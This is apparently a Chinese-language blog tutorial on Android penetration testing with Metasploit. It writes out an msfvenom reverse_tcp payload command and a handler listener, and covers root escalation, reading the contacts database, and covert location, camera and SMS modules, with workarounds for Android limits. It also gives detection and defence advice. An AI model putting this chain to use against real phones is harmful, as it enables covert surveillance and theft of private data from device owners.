Metasploit Android渗透测试实战:从Payload到提权的完整链路
做移动安全测试这几年Metasploit始终是我绕不开的一环。前阵子我在内部授权环境里测试一台旧安卓手机任务目标是验证几个高风险接口定位、拍照、发短信。整个链路从生成Payload、建立Meterpreter会话到尝试提权、调用系统能力说实话走完一遍我才算是把Metasploit对Android的支持摸得比较透。这篇文章我就把这套流程完整拆开包括Payload生成、监听配置、提权思路、定位/拍照/发短信三个模块的实现以及我踩过的那些坑。如果你也在做移动端渗透测试或者正在学Metasploit但不知道Android上能做什么这篇内容应该能帮你省不少时间。提前说清楚本文所有操作仅适用于你拥有合法所有权的设备未授权测试是违法的也是测试者的底线。1. 动手之前环境搭建与授权边界1.1 需要准备的三样东西实际跑这套实验不需要特别高端的设备。我用的是一台安装Kali的笔记本作为攻击侧一台淘汰下来的旧安卓手机作为目标侧再加一个adb工具链就足够了。Metasploit本身可以装在任意Linux发行版上不一定非得是Kali只要用包管理器装好就行。目标手机选择上我强烈建议用一台旧设备最好是能root、电池还可以扛几轮测试的。如果实在没有手机用Android模拟器也能跑一部分流程但模拟器对摄像头、短信这类硬件交互的模拟比较弱后面拍照和发短信的验证效果会大打折扣。网络环境建议把手机和攻击机放在同一局域网内确保两台设备能互相ping通。Meterpreter采用回连机制手机需要主动访问攻击机的监听端口网络不通是排障里最常见的原因之一。我一开始就吃了亏目标手机连着4G流量攻击机在办公Wi-Fi下手机根本不知道攻击机的内网IP在哪Payload自然无法上线。另外Metasploit的版本建议更新到较新版本。老版本虽然也有Android模块但不少后渗透模块兼容性很差。我在一个新版本的框架里调用发短信模块时非常顺畅换到旧版本就直接报方法不存在。更新可以直接用框架自带的升级命令装完之后确认一下postgresql服务启动了没有数据库支撑部分模块的查询和会话管理会变慢甚至报错。1.2 授权与测试范围是第一步这层边界一定先划清楚。所有Payload、提权、拍照、短信操作都只应该发生在自己设备或者拿到书面授权的测试范围内。我的做法是在内部实验室里申请一台专用测试机并且把SIM卡拔掉——这一点很关键因为后面发短信模块一旦跑通如果手机里插着真实号码的SIM卡就真的会向目标号码发送消息操作失误可能造成不必要的麻烦。测试范围不清晰的人容易把自己推入合规风险所以我通常会在实验开始前写一个非常小的测试计划明确要验证什么接口、使用哪个号码、测试时间段怎么控制。这套流程不只是流程更是安全测试者保护自己的基本手段。2. 构建攻击链从APK到Meterpreter2.1 msfvenom生成Payload时的参数取舍Metasploit生成Android Payload的命令一般是这样的msfvenom -p android/meterpreter/reverse_tcp LHOST你的内网IP LPORT4444 R test.apk这里两个参数决定了是否能上线。LHOST必须是目标手机能访问到的攻击机IP。内网测试就写攻击机内网IP公网测试需要公网可访问地址但是要注意运营商的端口封锁问题。LPORT选择一个不容易被占用的端口4444是默认值但有时候会和本机其他服务冲突我会换成5566这类高位端口。为什么不选择bind_tcp而选择reverse_tcp这个选择背后有现实考量。手机处在NAT后面或者隔离Wi-Fi网络里时主动监听端口基本不可能被外部连上。reverse_tcp让手机主动回连攻击机正好绕开了NAT和入站限制。当然reverse_tcp也有自己的问题它依赖攻击机有一个手机可以触达的地址如果两地不在同一网络就需要中间做端口映射或者通过其他方法打通这些后面都属于排查范围。一个很容易忽略的细节是签名。msfvenom生成的APK使用的是调试签名在新一些的Android版本上安装时大概率被拒绝。解决办法是用apksigner重新签名或者用APK编辑器把targetSdkVersion调低一些。我在测试机上一直保留着一种兼容性较好的签名方式这样在Android 12以上的设备上安装也不会报错。签名问题虽然不复杂但卡住一次就会浪费半小时。2.2 植入目标机并建立监听在授权测试里把APK装上目标手机这一步往往是最不受控的。真实攻击者会使用钓鱼邮件、诱导下载等方式但我们在实验环境里直接使用adb安装adb install test.apk安装完成后注意Android系统对后台应用的限制。新版系统会很快杀掉没有前台界面的应用进程导致Payload无法回连。所以装完之后我会手动点击一次应用图标让它在后台能存活一段时间。有些系统的高度省电策略仍会杀掉它那就需要去系统设置里把应用加入电池白名单。攻击机这边开启监听的方式如下msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 你的内网IP set lport 4444 exploit -j如果网络正常几秒后就能看到Meterpreter session 1 opened。如果一直不上线先检查IP和端口是否可访问再检查应用进程是否被杀。这里有个不太好发现的坑目标机如果同时连着Wi-Fi和蜂窝数据系统可能会切换网络导致连接短暂中断最好的办法是把流量固定在同一个网络下。会话建立之后先别急着干别的我做的第一件事永远是sysinfo和getuid。sysinfo返回Android版本、内核信息getuid则告诉你当前Meterpreter进程以什么身份在运行。基本上从普通APK启动的Meterpreter都是以应用自身的uid运行权限非常有限。这正好是下一步提权逻辑的起点。2.3 会话基础操作的几个习惯每次拿到Meterpreter会话我习惯先跑一遍基础侦察。sysinfo看系统版本getuid看权限身份getenv PATH看环境变量然后看看当前应用有没有特殊权限。权限不够很多后续模块都会直接报错而不是优雅地提示你哪里少了权限。提前确认身份后面排障会顺畅很多。在Android的Meterpreter会话里还要注意一个问题很多熟悉的Windows命令在Android上并不好使。getuid能显示uid但不会像Windows那样显示完整的域用户信息。shell进去之后你能看到一个精简的shell环境很多标准命令都不存在需要用toybox或者是toolbox中的命令。刚开始接触Android Meterpreter的人最容易在这里被劝退比如执行ls没问题但执行ps -ef就报错。这些都是正常的熟悉Android的shell工具链就好。3. 提权从应用权限到系统控制3.1 Android权限模型影响下的提权动机要做提权先得理解Android权限模型。默认情况下每个应用都在独立沙箱里运行分配一个独立的uid。哪怕应用在Manifest里声明了摄像头、定位、短信这些权限从Android 6开始运行时权限也必须在应用使用时请求用户授权。如果目标应用本身没有申请相应权限或者用户没有点击允许Meterpreter就算上了线也无法调用摄像头和短信接口。提权到系统或者root意味着不再受这些运行时授权检查限制。你可以绕过权限提示直接访问system_server提供的接口或者反射调用TelephonyManager的短信发送方法甚至读取哪些本应受保护的应用数据。这也是这个项目里把提权放在定位、拍照、发短信前面最核心的原因没有高权限很多高风险接口根本验证不过去。3.2 两种提权路径的实测体验Metasploit在Android上的提权能力真实用下来远没有Windows那边那么理想。第一次试验时我也天真地认为Meterpreter里有getsystem命令执行一下就能拿到system权限。结果在Android 10设备上直接提示不可用。Android基于Linux但SELinux、zygote进程模型都让传统提权路径难以通用。实际可走的有两条路。第一条是使用现成的内核漏洞或者系统漏洞利用模块比如exploit/android/local/下面的模块。这类模块对设备型号和内核版本非常挑剔。同一个漏洞利用模块在A设备能打通在B设备跑起来直接崩溃重启。Android碎片化导致几乎所有本地提权模块的普适性都不好。我自己很少在项目里依赖这些模块因为它们不确定性太高。第二条路是结合设备特性直接获得高权限shell。如果测试设备开启了adb root或者系统内已经存在可控的su二进制在Meterpreter会话里进入shell以后直接执行su切换身份。很多测试机的系统会弹一个授权窗口提前点击允许就能在Meterpreter内获得root权限。这条路径虽然朴素但胜在稳定。对于验证业务风险而不是要钻研漏洞本身的人来说更推荐这种方式。3.3 提权成功后如何确认确认权限是否真的提升靠的从来不是盯着屏幕激动而是用实际命令验证。在Meterpreter中执行getuid sysinfo如果得到root说明权限提升成功。我还会尝试读取一个受保护的文件比如/data/data/com.android.providers.contacts/databases/contacts.db没有权限时返回Permission denied有了root权限通常就能读出来。这个动作本身也是证明权限价值的最直观方式。但必须指出一个非常关键的限制SELinux。Android系统在Linux内核之上强制启用SELinux即使通过某种手段拿到了root uid如果没有将进程的SELinux domain切换为permissive很多系统调用依然会被拦截。从攻击链的角度看拿到root不一定等于能对系统为所欲为。从防御角度这也是检测恶意提权行为的重要依据。所以评估风险时我会承认普通提权测试的局限性如果漏洞利用确实无法突破SELinux那就说明系统加固还是起效了这反而是个好消息。4. 核心功能模块定位、拍照、发短信4.1 定位Wi-Fi定位比GPS更实用在Meterpreter会话里调用定位很多人都默认应该用GPS。实测却告诉我基于Wi-Fi的网络定位往往更稳定、更快。Metasploit内置的geolocate插件就是调用Android的网络定位接口原理是获取周围Wi-Fi接入点的BSSID再对照地理位置数据库估算位置。这个定位方式在室内、地下停车场等环境下依然有效而GPS就经常拿不到信号。我第一次跑geolocate时返回了一个经纬度和一个准确度范围。误差大约在几十米到几百米之间效果取决于室内还是室外。如果楼下就是大马路飘得厉害如果连着固定Wi-Fi反而能稳定到某一栋楼附近。在测试报告里我会把这个定位能力定义为可获取用户大致位置的高风险接口。如果确实需要GPS级精度可以在Meterpreter shell里手动操作cmd location set_location_enabled true然后强制请求一次位置更新。这套方式在室内基本没用GPS锁定屋顶的卫星难度很大所以我在项目里一般只以geolocate的结果为准。位置精度不是这个接口最核心的风险能拿到可信的位置数据本身就够说明问题。4.2 拍照前台限制和替代思路拍照模块在实际测试里比想象中难缠。Metasploit的webcam_snap命令设计很直观它抓取目标设备某一侧摄像头的画面。真正跑的时候如果目标应用还在前台调用摄像头是成功的一旦切换到后台Android 8以上的系统会逐渐收紧后台摄像头访问部分Android 11以上的设备甚至直接返回空白图。如果测试目标确实需要验证后台摄像头窃拍这个风险单纯webcam_snap可能不够。我尝试过自己写一小段shell代码通过Runtime.getRuntime().exec()调用系统组件拉起带摄像头Intent的Activity借用系统相机完成拍照再读取SD卡里生成的图片。这种方式成功率更高但已经超出了Metasploit默认模块范围。对于一篇入门级的技术拆解能跑通webcam_snap就已经足够说明接口权限风险了。还有一个细节值得注意Android的相机权限会在应用退到后台后出现短暂延迟才释放。有时候你快速切换只会拍到黑屏过几秒再调用反而能拍到画面。这个延迟问题我在不同品牌设备上的体验差异很大具体表现需要你用目标设备实弹验证。4.3 发短信权限与默认短信应用的限制发短信这块Metasploit提供了post/multi/manage/send_sms模块。用法上设置目标号码和短信内容模块就会调用Android的SmsManager或TelephonyManager发送消息。前提仍然是应用已经获得了SEND_SMS权限并且在运行时授权时被用户允许。只要权限到位理论上这条链路非常短。但真正的麻烦在于某些系统版本对非默认短信应用的发送限制非常严格。Android 4.4之后只有默认短信应用可以直接往短信数据库里写入并发送。即便应用声明了SEND_SMS权限系统在某些场景下依然会拒绝调用sendTextMessage。我在实验中也遇到过模块报错的情况后来分析日志发现是当前应用并不是默认短信应用导致的。绕过方式不是没有比如通过系统广播构造发送意图或者使用更底层的短信管理器接口。但这些操作需要进系统权限而且要体验过各家ROM的行为差异后才能保证稳定。我的实验建议是目标测试机如果要验证发短信能力先把目标应用设为默认短信应用这样至少能完整走通一次风险验证。千万不要在一台装有真实SIM卡的手机上随意测这个模块一旦生效运营商侧会有记录。5. 常见问题排查与防御建议5.1 会话掉线和后台杀进程Meterpreter会话在Android上的稳定性是我见过最劝退人的部分。app一退到后台很有可能几秒内就被系统杀掉会话直接断开。国产ROM的省电策略特别激进很多系统会在应用进入后台后立即清理。解决方案无外乎三种进系统设置把目标应用加入白名单调低Meterpreter的心跳频率时间拉长之后用户感知不明显但发现速度也会下降或者使用持久化机制重启系统后自启动。第三种方式如果要做得好通常需要应用被安装为系统应用也就是说最好等提权之后再配置。我自己的习惯是在实验环境里直接将系统省电策略调到无限制避免中断。如果你需要模拟真实场景下的存活率那又另当别论要尽可能贴近真实攻击者使用的方式。5.2 提权失败和SELinux拦截很多新人卡在提权这一步经常会把责任推给Metasploit。实际上Android本地提权从漏洞到利用条件坑非常深。建议降低预期先在一台可root设备上跑通业务流程再去考虑漏洞利用的细节。如果非要尝试内核提权请务必先确认目标设备的内核版本、硬件平台和现有公开漏洞之间的匹配度。SELinux拦截的报错经常出现在日志中类似avc denied。这些日志会记录被拒绝访问的对象。如果项目目标只是验证风险没有必要硬碰SELinux。从防御角度看SELinux恰恰起到了应有的作用。一旦发现需要绕过SELinux才能完成攻击这就说明防护有效我们只需要把风险结论改写为需要组合其他漏洞成本更高。5.3 防御端怎么发现这些动作反过来看作为防守方识别Meterpreter会话其实并不困难。一个明显的现象是高耗电。Meterpreter要长期保持一个网络连接在通知栏电量统计里会非常显眼。其次是网络连接你会看到目标设备频繁向某个固定IP发起连接且连接时间很长。这点在路由器后台或者安全监测系统里都能发现。再看应用层面很多Payload APK安装后不会显示图标但在系统设置中的应用管理里依然可以看到包名和权限列表。如果一个应用来源不明却申请了定位、短信、摄像头、开机启动等权限这基本就是恶意样本的典型特征。我会建议用户认真清理各自手机上的应用权限那些不知道什么时候装的、权限申请得过分的应用卸载是最好的选择。5.4 一个关于工具定位的教训最后想聊聊工具本身的定位。Metasploit对Android的模块更像是一把可以快速建立会话和演示基础接口调用的钥匙而不是一把覆盖渗透全过程的万能刀。真到了需要清理痕迹、绕过硬校验、对系统做深度操作的时候还是要结合Frida、Xposed这类工具去定制。如果你是为了工作而学建议把它和移动应用逆向的能力一起练效果会好很多。我在这套测试里最大的体会是拿到root权限不是终点能调通接口并清晰解释背后的风险才是交付物。每次验证完我都会把Session关闭、清空数据、恢复系统毕竟测试的目的不是入侵成功而是明确系统的脆弱点在哪、该怎么修。只有保持这种心态Metasploit这类工具才能发挥它真正的价值。